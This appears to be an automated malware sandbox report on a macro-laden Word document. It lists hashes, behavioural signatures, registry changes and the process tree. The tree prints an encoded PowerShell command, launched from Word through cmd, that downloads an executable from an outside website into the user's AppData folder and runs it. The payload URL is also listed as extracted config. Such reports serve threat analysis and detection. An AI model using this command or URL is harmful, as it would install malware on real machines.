Analysis
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max time kernel
69s -
max time network
15s -
platform
windows7_x64 -
resource
win7v20210410 -
submitted
11-05-2021 03:55
Static task
static1
Behavioral task
behavioral1
Sample
July_RQF_SGD894_CODE_ 850.doc
Resource
win7v20210410
Behavioral task
behavioral2
Sample
July_RQF_SGD894_CODE_ 850.doc
Resource
win10v20210408
General
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Target
July_RQF_SGD894_CODE_ 850.doc
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Size
43KB
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MD5
3fce454b5a5ba7d73cc2b2560f69a48a
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SHA1
b9321f7d1bbb1e020b03b676bd23d53e9ff6c17e
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SHA256
b9c87683d4000e24d419ebe199d2c55dbb9757d5cc8f4e6d9a0295e963cbb07c
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SHA512
fc35cb2957f15a3cdadf282c1b6d0f876dd710061d7c645618b83a394171723d24ddfecc64d721cb2cb1745e44a283dcc7278d6da9f3a67465e2cb8e760eb943
Malware Config
Extracted
http://atlantastunttruckdrivers.com/Denight.exe
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target process target process Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process 1740 1084 cmd.exe WINWORD.EXE -
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 6 316 powershell.exe -
Downloads MZ/PE file
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Drops file in Windows directory 1 IoCs
Processes:
WINWORD.EXEdescription ioc process File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE -
Office loads VBA resources, possible macro or embedded object present
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Processes:
WINWORD.EXEdescription ioc process Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel WINWORD.EXE Set value (int) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt WINWORD.EXE Set value (int) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes" WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
WINWORD.EXEpid process 1084 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 316 powershell.exe 316 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 316 powershell.exe -
Suspicious use of SetWindowsHookEx 16 IoCs
Processes:
WINWORD.EXEpid process 1084 WINWORD.EXE 1084 WINWORD.EXE 1084 WINWORD.EXE 1084 WINWORD.EXE 1084 WINWORD.EXE 1084 WINWORD.EXE 1084 WINWORD.EXE 1084 WINWORD.EXE 1084 WINWORD.EXE 1084 WINWORD.EXE 1084 WINWORD.EXE 1084 WINWORD.EXE 1084 WINWORD.EXE 1084 WINWORD.EXE 1084 WINWORD.EXE 1084 WINWORD.EXE -
Suspicious use of WriteProcessMemory 16 IoCs
Processes:
WINWORD.EXEcmd.execmd.exedescription pid process target process PID 1084 wrote to memory of 1740 1084 WINWORD.EXE cmd.exe PID 1084 wrote to memory of 1740 1084 WINWORD.EXE cmd.exe PID 1084 wrote to memory of 1740 1084 WINWORD.EXE cmd.exe PID 1084 wrote to memory of 1740 1084 WINWORD.EXE cmd.exe PID 1740 wrote to memory of 1216 1740 cmd.exe cmd.exe PID 1740 wrote to memory of 1216 1740 cmd.exe cmd.exe PID 1740 wrote to memory of 1216 1740 cmd.exe cmd.exe PID 1740 wrote to memory of 1216 1740 cmd.exe cmd.exe PID 1216 wrote to memory of 316 1216 cmd.exe powershell.exe PID 1216 wrote to memory of 316 1216 cmd.exe powershell.exe PID 1216 wrote to memory of 316 1216 cmd.exe powershell.exe PID 1216 wrote to memory of 316 1216 cmd.exe powershell.exe PID 1084 wrote to memory of 1600 1084 WINWORD.EXE splwow64.exe PID 1084 wrote to memory of 1600 1084 WINWORD.EXE splwow64.exe PID 1084 wrote to memory of 1600 1084 WINWORD.EXE splwow64.exe PID 1084 wrote to memory of 1600 1084 WINWORD.EXE splwow64.exe
Processes
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C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\July_RQF_SGD894_CODE_ 850.doc"1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\cmd.execmd /c cmd /c powershell.exe -encodedCommand KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAOgAvAC8AYQB0AGwAYQBuAHQAYQBzAHQAdQBuAHQAdAByAHUAYwBrAGQAcgBpAHYAZQByAHMALgBjAG8AbQAvAEQAZQBuAGkAZwBoAHQALgBlAHgAZQAnACwAKAAkAGUAbgB2ADoAYQBwAHAAZABhAHQAYQApACsAJwBcAEcAZABSAHIAWQBDAC4AZQB4AGUAJwApADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAJABlAG4AdgA6AGEAcABwAGQAYQB0AGEAXABHAGQAUgByAFkAQwAuAGUAeABlAA==2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\cmd.execmd /c powershell.exe -encodedCommand KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAOgAvAC8AYQB0AGwAYQBuAHQAYQBzAHQAdQBuAHQAdAByAHUAYwBrAGQAcgBpAHYAZQByAHMALgBjAG8AbQAvAEQAZQBuAGkAZwBoAHQALgBlAHgAZQAnACwAKAAkAGUAbgB2ADoAYQBwAHAAZABhAHQAYQApACsAJwBcAEcAZABSAHIAWQBDAC4AZQB4AGUAJwApADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAJABlAG4AdgA6AGEAcABwAGQAYQB0AGEAXABHAGQAUgByAFkAQwAuAGUAeABlAA==3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -encodedCommand KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAOgAvAC8AYQB0AGwAYQBuAHQAYQBzAHQAdQBuAHQAdAByAHUAYwBrAGQAcgBpAHYAZQByAHMALgBjAG8AbQAvAEQAZQBuAGkAZwBoAHQALgBlAHgAZQAnACwAKAAkAGUAbgB2ADoAYQBwAHAAZABhAHQAYQApACsAJwBcAEcAZABSAHIAWQBDAC4AZQB4AGUAJwApADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAJABlAG4AdgA6AGEAcABwAGQAYQB0AGEAXABHAGQAUgByAFkAQwAuAGUAeABlAA==4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
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memory/316-69-0x00000000047F0000-0x00000000047F1000-memory.dmpFilesize
4KB
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memory/316-81-0x00000000056F0000-0x00000000056F1000-memory.dmpFilesize
4KB
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memory/316-91-0x000000007EF30000-0x000000007EF31000-memory.dmpFilesize
4KB
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memory/316-70-0x00000000047B0000-0x00000000047B1000-memory.dmpFilesize
4KB
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memory/316-71-0x00000000047B2000-0x00000000047B3000-memory.dmpFilesize
4KB
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memory/316-64-0x0000000000000000-mapping.dmp
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memory/316-65-0x00000000752F1000-0x00000000752F3000-memory.dmpFilesize
8KB
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memory/316-90-0x00000000062C0000-0x00000000062C1000-memory.dmpFilesize
4KB
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memory/316-89-0x00000000061F0000-0x00000000061F1000-memory.dmpFilesize
4KB
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memory/316-68-0x0000000002470000-0x0000000002471000-memory.dmpFilesize
4KB
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memory/316-82-0x0000000006230000-0x0000000006231000-memory.dmpFilesize
4KB
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memory/316-76-0x00000000056B0000-0x00000000056B1000-memory.dmpFilesize
4KB
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memory/316-73-0x0000000005240000-0x0000000005241000-memory.dmpFilesize
4KB
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memory/316-72-0x0000000002550000-0x0000000002551000-memory.dmpFilesize
4KB
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memory/1084-60-0x0000000070321000-0x0000000070323000-memory.dmpFilesize
8KB
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memory/1084-61-0x000000005FFF0000-0x0000000060000000-memory.dmpFilesize
64KB
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memory/1084-59-0x00000000728A1000-0x00000000728A4000-memory.dmpFilesize
12KB
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memory/1216-63-0x0000000000000000-mapping.dmp
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memory/1600-67-0x000007FEFBD91000-0x000007FEFBD93000-memory.dmpFilesize
8KB
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memory/1600-66-0x0000000000000000-mapping.dmp
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memory/1740-62-0x0000000000000000-mapping.dmp